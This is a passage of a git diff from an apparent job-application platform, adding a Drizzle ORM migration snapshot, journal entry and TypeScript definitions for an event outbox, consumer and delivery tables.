"organization_id": { + "name": "organization_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "application_status", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'draft'" + }, + "mode": { + "name": "mode", + "type": "application_mode", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'manual'" + }, + "idempotency_key": { + "name": "idempotency_key", + "type": "varchar(200)", + "primaryKey": false, + "notNull": true + }, + "cover_letter": { + "name": "cover_letter", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "submitted_at": { + "name": "submitted_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "last_event_at": { + "name": "last_event_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "failure_reason": { + "name": "failure_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "applications_user_idempotency_key": { + "name": "applications_user_idempotency_key", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "idempotency_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "applications_user_job_key": { + "name": "applications_user_job_key", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "job_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "applications_status_idx": { + "name": "applications_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "applications_user_created_idx": { + "name": "applications_user_created_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "applications_org_idx": { + "name": "applications_org_idx", + "columns": [ + { + "expression": "organization_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "applications_user_id_users_user_id_fk": { + "name": "applications_user_id_users_user_id_fk", + "tableFrom": "applications", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "user_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "applications_job_id_jobs_job_id_fk": { + "name": "applications_job_id_jobs_job_id_fk", + "tableFrom": "applications", + "tableTo": "jobs", + "columnsFrom": [ + "job_id" + ], + "columnsTo": [ + "job_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "applications_resume_id_resumes_resume_id_fk": { + "name": "applications_resume_id_resumes_resume_id_fk", + "tableFrom": "applications", + "tableTo": "resumes", + "columnsFrom": [ + "resume_id" + ], + "columnsTo": [ + "resume_id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "applications_organization_id_organizations_organization_id_fk": { + "name": "applications_organization_id_organizations_organization_id_fk", + "tableFrom": "applications", + "tableTo": "organizations", + "columnsFrom": [ + "organization_id" + ], + "columnsTo": [ + "organization_id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.contacts": { + "name": "contacts", + "schema": "", + "columns": { + "contact_id": { + "name": "contact_id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "full_name": { + "name": "full_name", + "type": "varchar(200)", + "primaryKey": false, + "notNull": false + }, + "title": { + "name": "title", + "type": "varchar(200)", + "primaryKey": false, + "notNull": false + }, + "email": { + "name": "email", + "type": "varchar(320)", + "primaryKey": false, + "notNull": false + }, + "linkedin_url": { + "name": "linkedin_url", + "type": "varchar(500)", + "primaryKey": false, + "notNull": false + }, + "relevance_score": { + "name": "relevance_score", + "type": "real", + "primaryKey": false, + "notNull": false + }, + "embedding": { + "name": "embedding", + "type": "vector(1536)", + "primaryKey": false, + "notNull": false + }, + "source": { + "name": "source", + "type": "varchar(80)", + "primaryKey": false, + "notNull": true, + "default": "'manual'" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "contacts_company_email_key": { + "name": "contacts_company_email_key", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "email", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "contacts_company_idx": { + "name": "contacts_company_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "contacts_relevance_idx": { + "name": "contacts_relevance_idx", + "columns": [ + { + "expression": "relevance_score", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "contacts_company_id_companies_company_id_fk": { + "name": "contacts_company_id_companies_company_id_fk", + "tableFrom": "contacts", + "tableTo": "companies", + "columnsFrom": [ + "company_id" + ], + "columnsTo": [ + "company_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.messages": { + "name": "messages", + "schema": "", + "columns": { + "message_id": { + "name": "message_id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "application_id": { + "name": "application_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "contact_id": { + "name": "contact_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "user_id": { + "name": "user_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "channel": { + "name": "channel", + "type": "message_channel", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "message_status", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'draft'" + }, + "subject": { + "name": "subject", + "type": "varchar(400)", + "primaryKey": false, + "notNull": false + }, + "body": { + "name": "body", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "idempotency_key": { + "name": "idempotency_key", + "type": "varchar(200)", + "primaryKey": false, + "notNull": true + }, + "scheduled_for": { + "name": "scheduled_for", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "sent_at": { + "name": "sent_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "messages_user_idempotency_key": { + "name": "messages_user_idempotency_key", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "idempotency_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "messages_status_scheduled_idx": { + "name": "messages_status_scheduled_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "scheduled_for", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "messages_contact_idx": { + "name": "messages_contact_idx", + "columns": [ + { + "expression": "contact_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "messages_application_id_applications_application_id_fk": { + "name": "messages_application_id_applications_application_id_fk", + "tableFrom": "messages", + "tableTo": "applications", + "columnsFrom": [ + "application_id" + ], + "columnsTo": [ + "application_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "messages_contact_id_contacts_contact_id_fk": { + "name": "messages_contact_id_contacts_contact_id_fk", + "tableFrom": "messages", + "tableTo": "contacts", + "columnsFrom": [ + "contact_id" + ], + "columnsTo": [ + "contact_id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "messages_user_id_users_user_id_fk": { + "name": "messages_user_id_users_user_id_fk", + "tableFrom": "messages", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "user_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.analytics_events": { + "name": "analytics_events", + "schema": "", + "columns": { + "event_id": { + "name": "event_id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "organization_id": { + "name": "organization_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "user_id": { + "name": "user_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "event_type": { + "name": "event_type", + "type": "varchar(120)", + "primaryKey": false, + "notNull": true + }, + "payload": { + "name": "payload", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "trace_id": { + "name": "trace_id", + "type": "varchar(100)", + "primaryKey": false, + "notNull": false + }, + "timestamp": { + "name": "timestamp", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "analytics_events_org_time_idx": { + "name": "analytics_events_org_time_idx", + "columns": [ + { + "expression": "organization_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "analytics_events_type_time_idx": { + "name": "analytics_events_type_time_idx", + "columns": [ + { + "expression": "event_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "analytics_events_organization_id_organizations_organization_id_fk": { + "name": "analytics_events_organization_id_organizations_organization_id_fk", + "tableFrom": "analytics_events", + "tableTo": "organizations", + "columnsFrom": [ + "organization_id" + ], + "columnsTo": [ + "organization_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "analytics_events_user_id_users_user_id_fk": { + "name": "analytics_events_user_id_users_user_id_fk", + "tableFrom": "analytics_events", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "user_id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.connector_accounts": { + "name": "connector_accounts", + "schema": "", + "columns": { + "connector_account_id": { + "name": "connector_account_id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "user_id": { + "name": "user_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "organization_id": { + "name": "organization_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "provider": { + "name": "provider", + "type": "varchar(80)", + "primaryKey": false, + "notNull": true + }, + "external_account_id": { + "name": "external_account_id", + "type": "varchar(300)", + "primaryKey": false, + "notNull": true + }, + "secret_ref": { + "name": "secret_ref", + "type": "varchar(400)", + "primaryKey": false, + "notNull": true + }, + "scopes": { + "name": "scopes", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "status": { + "name": "status", + "type": "varchar(40)", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "consent_granted_at": { + "name": "consent_granted_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "last_synced_at": { + "name": "last_synced_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "last_error": { + "name": "last_error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "connector_accounts_provider_external_key": { + "name": "connector_accounts_provider_external_key", + "columns": [ + { + "expression": "provider", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "external_account_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "connector_accounts_user_idx": { + "name": "connector_accounts_user_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "connector_accounts_org_idx": { + "name": "connector_accounts_org_idx", + "columns": [ + { + "expression": "organization_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "connector_accounts_user_id_users_user_id_fk": { + "name": "connector_accounts_user_id_users_user_id_fk", + "tableFrom": "connector_accounts", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "user_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "connector_accounts_organization_id_organizations_organization_id_fk": { + "name": "connector_accounts_organization_id_organizations_organization_id_fk", + "tableFrom": "connector_accounts", + "tableTo": "organizations", + "columnsFrom": [ + "organization_id" + ], + "columnsTo": [ + "organization_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.event_consumers": { + "name": "event_consumers", + "schema": "", + "columns": { + "consumer": { + "name": "consumer", + "type": "varchar(160)", + "primaryKey": true, + "notNull": true + }, + "event_types": { + "name": "event_types", + "type": "text[]", + "primaryKey": false, + "notNull": true + }, + "materialized_through": { + "name": "materialized_through", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "'1970-01-01T00:00:00Z'" + }, + "last_drained_at": { + "name": "last_drained_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": {}, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.event_deliveries": { + "name": "event_deliveries", + "schema": "", + "columns": { + "event_id": { + "name": "event_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "consumer": { + "name": "consumer", + "type": "varchar(160)", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "varchar(16)", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "attempts": { + "name": "attempts", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "last_error": { + "name": "last_error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "next_attempt_at": { + "name": "next_attempt_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "locked_until": { + "name": "locked_until", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "event_deliveries_claim_idx": { + "name": "event_deliveries_claim_idx", + "columns": [ + { + "expression": "consumer", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "next_attempt_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"event_deliveries\".\"status\" = 'pending'", + "concurrently": false, + "method": "btree", + "with": {} + }, + "event_deliveries_dead_idx": { + "name": "event_deliveries_dead_idx", + "columns": [ + { + "expression": "consumer", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "updated_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"event_deliveries\".\"status\" = 'dead'", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "event_deliveries_event_id_event_outbox_event_id_fk": { + "name": "event_deliveries_event_id_event_outbox_event_id_fk", + "tableFrom": "event_deliveries", + "tableTo": "event_outbox", + "columnsFrom": [ + "event_id" + ], + "columnsTo": [ + "event_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "event_deliveries_event_id_consumer_pk": { + "name": "event_deliveries_event_id_consumer_pk", + "columns": [ + "event_id", + "consumer" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "event_deliveries_status_check": { + "name": "event_deliveries_status_check", + "value": "\"event_deliveries\".\"status\" IN ('pending', 'done', 'dead')" + } + }, + "isRLSEnabled": false + }, + "public.event_outbox": { + "name": "event_outbox", + "schema": "", + "columns": { + "event_id": { + "name": "event_id", + "type": "uuid", + "primaryKey": true, + "notNull": true + }, + "event_type": { + "name": "event_type", + "type": "varchar(120)", + "primaryKey": false, + "notNull": true + }, + "occurred_at": { + "name": "occurred_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "trace_id": { + "name": "trace_id", + "type": "varchar(100)", + "primaryKey": false, + "notNull": true + }, + "correlation_id": { + "name": "correlation_id", + "type": "varchar(100)", + "primaryKey": false, + "notNull": true + }, + "organization_id": { + "name": "organization_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "user_id": { + "name": "user_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "payload": { + "name": "payload", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "event_outbox_created_idx": { + "name": "event_outbox_created_idx", + "columns": [ + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "event_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "event_outbox_type_created_idx": { + "name": "event_outbox_type_created_idx", + "columns": [ + { + "expression": "event_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "event_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "event_outbox_trace_idx": { + "name": "event_outbox_trace_idx", + "columns": [ + { + "expression": "trace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.idempotency_keys": { + "name": "idempotency_keys", + "schema": "", + "columns": { + "key": { + "name": "key", + "type": "varchar(200)", + "primaryKey": false, + "notNull": true + }, + "scope": { + "name": "scope", + "type": "varchar(120)", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "request_hash": { + "name": "request_hash", + "type": "varchar(64)", + "primaryKey": false, + "notNull": true + }, + "response_status": { + "name": "response_status", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "response_body": { + "name": "response_body", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "idempotency_keys_expires_idx": { + "name": "idempotency_keys_expires_idx", + "columns": [ + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "idempotency_keys_user_id_users_user_id_fk": { + "name": "idempotency_keys_user_id_users_user_id_fk", + "tableFrom": "idempotency_keys", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "user_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "idempotency_keys_scope_key_pk": { + "name": "idempotency_keys_scope_key_pk", + "columns": [ + "scope", + "key" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.processed_events": { + "name": "processed_events", + "schema": "", + "columns": { + "event_id": { + "name": "event_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "consumer": { + "name": "consumer", + "type": "varchar(160)", + "primaryKey": false, + "notNull": true + }, + "processed_at": { + "name": "processed_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "processed_events_processed_at_idx": { + "name": "processed_events_processed_at_idx", + "columns": [ + { + "expression": "processed_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": { + "processed_events_event_id_consumer_pk": { + "name": "processed_events_event_id_consumer_pk", + "columns": [ + "event_id", + "consumer" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.tasks": { + "name": "tasks", + "schema": "", + "columns": { + "task_id": { + "name": "task_id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "task_type": { + "name": "task_type", + "type": "varchar(120)", + "primaryKey": false, + "notNull": true + }, + "queue_status": { + "name": "queue_status", + "type": "task_status", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "retry_count": { + "name": "retry_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "max_retries": { + "name": "max_retries", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 5 + }, + "payload": { + "name": "payload", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "last_error": { + "name": "last_error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "locked_at": { + "name": "locked_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "locked_by": { + "name": "locked_by", + "type": "varchar(200)", + "primaryKey": false, + "notNull": false + }, + "available_at": { + "name": "available_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "trace_id": { + "name": "trace_id", + "type": "varchar(100)", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "tasks_claim_idx": { + "name": "tasks_claim_idx", + "columns": [ + { + "expression": "queue_status", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "available_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "tasks_type_idx": { + "name": "tasks_type_idx", + "columns": [ + { + "expression": "task_type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "tasks_locked_idx": { + "name": "tasks_locked_idx", + "columns": [ + { + "expression": "locked_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + } + }, + "enums": { + "public.application_mode": { + "name": "application_mode", + "schema": "public", + "values": [ + "auto", + "manual", + "review" + ] + }, + "public.application_status": { + "name": "application_status", + "schema": "public", + "values": [ + "draft", + "queued", + "submitting", + "submitted", + "acknowledged", + "interviewing", + "offer", + "rejected", + "withdrawn", + "failed" + ] + }, + "public.auth_provider": { + "name": "auth_provider", + "schema": "public", + "values": [ + "password", + "google", + "microsoft", + "github", + "saml" + ] + }, + "public.employment_type": { + "name": "employment_type", + "schema": "public", + "values": [ + "full_time", + "part_time", + "contract", + "internship", + "unknown" + ] + }, + "public.job_source": { + "name": "job_source", + "schema": "public", + "values": [ + "manual", + "seed", + "greenhouse", + "lever", + "ashby", + "rss" + ] + }, + "public.member_role": { + "name": "member_role", + "schema": "public", + "values": [ + "member", + "student", + "recruiter", + "admin", + "owner" + ] + }, + "public.message_channel": { + "name": "message_channel", + "schema": "public", + "values": [ + "email", + "linkedin", + "sms", + "in_app" + ] + }, + "public.message_status": { + "name": "message_status", + "schema": "public", + "values": [ + "draft", + "scheduled", + "sent", + "delivered", + "replied", + "bounced", + "failed" + ] + }, + "public.organization_plan": { + "name": "organization_plan", + "schema": "public", + "values": [ + "free", + "pro", + "campus", + "enterprise" + ] + }, + "public.organization_type": { + "name": "organization_type", + "schema": "public", + "values": [ + "individual", + "university", + "enterprise" + ] + }, + "public.remote_type": { + "name": "remote_type", + "schema": "public", + "values": [ + "onsite", + "hybrid", + "remote", + "unknown" + ] + }, + "public.resume_status": { + "name": "resume_status", + "schema": "public", + "values": [ + "pending", + "processing", + "parsed", + "failed" + ] + }, + "public.task_status": { + "name": "task_status", + "schema": "public", + "values": [ + "pending", + "locked", + "succeeded", + "failed", + "dead_lettered" + ] + } + }, + "schemas": {}, + "sequences": {}, + "roles": {}, + "policies": {}, + "views": {}, + "_meta": { + "columns": {}, + "schemas": {}, + "tables": {} + } +} \ No newline at end of file diff --git a/packages/db/migrations/meta/_journal.json b/packages/db/migrations/meta/_journal.json index f0577de..35ef899 100644 --- a/packages/db/migrations/meta/_journal.json +++ b/packages/db/migrations/meta/_journal.json @@ -22,6 +22,13 @@ "when": 1789937839121, "tag": "0002_add_github_auth_provider", "breakpoints": true + }, + { + "idx": 3, + "version": "7", + "when": 1793103905172, + "tag": "0003_add_event_outbox", + "breakpoints": true } ] } \ No newline at end of file diff --git a/packages/db/src/schema/ops.ts b/packages/db/src/schema/ops.ts index a0eba9b..3c55b6d 100644 --- a/packages/db/src/schema/ops.ts +++ b/packages/db/src/schema/ops.ts @@ -1,4 +1,6 @@ +import { sql } from 'drizzle-orm'; import { + check, index, integer, jsonb, @@ -94,6 +96,108 @@ export const processedEvents = pgTable( ], ); +/** + * Durable event log behind the `postgres` messaging driver + * (packages/messaging/src/postgres-broker.ts). `publish()` is one INSERT into + * this table, so a publish that returned is committed; consumers are fanned + * out to later, at drain time, from `event_consumers.materialized_through`. + * That is what lets an event published before a consumer's service has ever + * run still reach it. Rows are removed by the broker's `purge()`. + * + * `event_id` is the envelope's idempotency key, so republishing the same + * envelope is a no-op. `created_at` is the database clock (never a service + * clock): the drain cursor is defined over it. + */ +export const eventOutbox = pgTable( + 'event_outbox', + { + eventId: uuid('event_id').primaryKey(), + eventType: varchar('event_type', { length: 120 }).notNull(), + occurredAt: timestamp('occurred_at', { withTimezone: true, mode: 'string' }).notNull(), + // The envelope's trace context, flattened so "what happened to trace X" is + // a plain indexed query. No FKs: the outbox must never block a user or + // organization deletion. + traceId: varchar('trace_id', { length: 100 }).notNull(), + correlationId: varchar('correlation_id', { length: 100 }).notNull(), + organizationId: uuid('organization_id'), + userId: uuid('user_id'), + payload: jsonb('payload').$type>().notNull(), + createdAt: timestamp('created_at', { withTimezone: true, mode: 'string' }) + .notNull() + .defaultNow(), + }, + (table) => [ + // Drain cursor order (created_at, event_id), also the purge scan. + index('event_outbox_created_idx').on(table.createdAt, table.eventId), + // Fan-out for consumers that subscribe to a few of the event types. + index('event_outbox_type_created_idx').on(table.eventType, table.createdAt, table.eventId), + index('event_outbox_trace_idx').on(table.traceId), + ], +); + +/** + * One row per registered consumer name: which event types it listens to and + * how far fan-out has progressed for it. A consumer registers itself on its + * first drain, starting from the epoch, so it sees every event still in the + * outbox regardless of when it was published. The invariant is "every outbox + * row of a subscribed type with created_at < materialized_through has a + * delivery row for this consumer"; the broker keeps it a safety overlap + * behind the database clock so a late-committing publish cannot be skipped. + * `purge()` never deletes a row at or after this mark for a subscribed type. + */ +export const eventConsumers = pgTable('event_consumers', { + consumer: varchar('consumer', { length: 160 }).primaryKey(), + eventTypes: text('event_types').array().notNull(), + materializedThrough: timestamp('materialized_through', { withTimezone: true, mode: 'string' }) + .notNull() + .default(sql`'1970-01-01T00:00:00Z'`), + lastDrainedAt: timestamp('last_drained_at', { withTimezone: true, mode: 'string' }), + createdAt: timestamp('created_at', { withTimezone: true, mode: 'string' }).notNull().defaultNow(), +}); + +/** + * Per-consumer delivery state for one outbox event. `pending` rows are due at + * `next_attempt_at` (retry backoff lives here) and are leased by setting + * `locked_until`; `attempts` increments on every claim, which makes it both + * the retry counter and the fencing token for the claimer's later write. + * `dead` rows exhausted their retries and are kept for inspection/replay. + */ +export const eventDeliveries = pgTable( + 'event_deliveries', + { + eventId: uuid('event_id') + .notNull() + .references(() => eventOutbox.eventId, { onDelete: 'cascade' }), + consumer: varchar('consumer', { 